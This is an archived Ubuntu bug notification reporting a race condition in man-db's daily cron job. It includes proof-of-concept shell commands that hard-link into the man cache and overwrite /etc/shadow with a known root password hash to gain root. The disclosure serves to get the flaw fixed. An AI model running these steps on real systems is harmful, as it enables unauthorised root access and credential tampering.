touch-packages team mailing list archive

[Mathew Hodson <mathew.hodson@xxxxxxxxx>]

** Changed in: man-db (Ubuntu)
   Importance: Undecided => Medium

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pam in Ubuntu.
https://bugs.launchpad.net/bugs/1482786

Title:
  man-db daily cron job TOCTOU bug when processing catman pages

Status in apport package in Ubuntu:
  Confirmed
Status in man-db package in Ubuntu:
  Confirmed
Status in pam package in Ubuntu:
  Confirmed
Status in shadow package in Ubuntu:
  Confirmed

Bug description:
  The daily mandb cleanup job for old catman pages changes the
  permissions of all non-man files to user man. The problematic code is:

  # expunge old catman pages which have not been read in a week
  if [ -d /var/cache/man ]; then
    cd /
    if ! dpkg-statoverride --list /var/cache/man >/dev/null 2>1; then
      find /var/cache/man -ignore_readdir_race ! -user man -print0 | \
        xargs -r0 chown -f man || true
    fi
    ...

  By creating a hard link and winning the race, user man may escalate
  privileges to user root. See [1] for full explanation.

  man# mkdir -p /var/cache/man/etc
  man# ln /var/crash/.lock /var/cache/man/etc/shadow
  man# ./DirModifyInotify --Watch /var/cache/man/etc --WatchCount 0 --MovePath /var/cache/man/etc --LinkTarget /etc
  ... Wait till daily cronjob was run
  man# cp /etc/shadow .
  man# sed -r -e 's/^root:.*/root:$1$kKBXcycA$w.1NUJ77AuKcSYYrjLn9s1:15462:0:99999:7:::/' /etc/shadow > x
  man# cat x > /etc/shadow; rm x
  man# su -s /bin/sh (password is 123)
  root# cat shadow > /etc/shadow; chown root /etc/shadow

  
  # lsb_release -rd
  Description:    Ubuntu 14.04.3 LTS
  Release:        14.04

  # apt-cache policy man-db
  man-db:
    Installed: 2.6.7.1-1ubuntu1
    Candidate: 2.6.7.1-1ubuntu1
    Version table:
   *** 2.6.7.1-1ubuntu1 0
          500 http://archive.ubuntu.com/ubuntu/ trusty-updates/main amd64 Packages
          100 /var/lib/dpkg/status
       2.6.7.1-1 0
          500 http://archive.ubuntu.com/ubuntu/ trusty/main amd64 Packages

  [1]
  http://www.halfdog.net/Security/2015/MandbSymlinkLocalRootPrivilegeEscalation/

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1482786/+subscriptions